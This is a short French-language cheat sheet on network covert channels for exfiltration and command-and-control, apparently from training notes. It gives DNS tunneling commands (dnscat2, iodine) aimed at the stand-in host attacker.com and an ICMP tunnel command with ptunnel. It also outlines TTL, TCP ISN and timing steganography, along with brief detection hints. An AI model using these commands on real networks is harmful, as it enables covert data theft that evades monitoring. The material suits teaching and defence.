Canaux cachés réseau — Exfiltration discrète

Qu'est-ce qu'un canal caché réseau ?

Un canal caché utilise un protocole réseau légitime pour transporter secrètement des données. DNS et ICMP sont souvent autorisés même sur des réseaux très restrictifs. Utilisé pour l'exfiltration ou le C2.

DNS et ICMP Tunneling

# DNS Tunneling
dnscat2 --dns domain=attacker.com
iodine -f -P password attacker.com

# ICMP Tunneling
ptunnel -p serveur -lp 2222 -da dest -dp 22 -x password

# Détection :
# DNS : sous-domaines très longs, haute entropie, volume anormal
# ICMP : payload > 64 octets, beaucoup de pings en rafale

TTL et ISN Stegano

# TCP ISN (Initial Sequence Number) : encoder 4 octets par SYN
# TTL stegano : 64 vs 63 encode 0 ou 1
# HTTP Timing : délai court = 0, délai long = 1
# Très discret mais très lent (quelques bits/sec)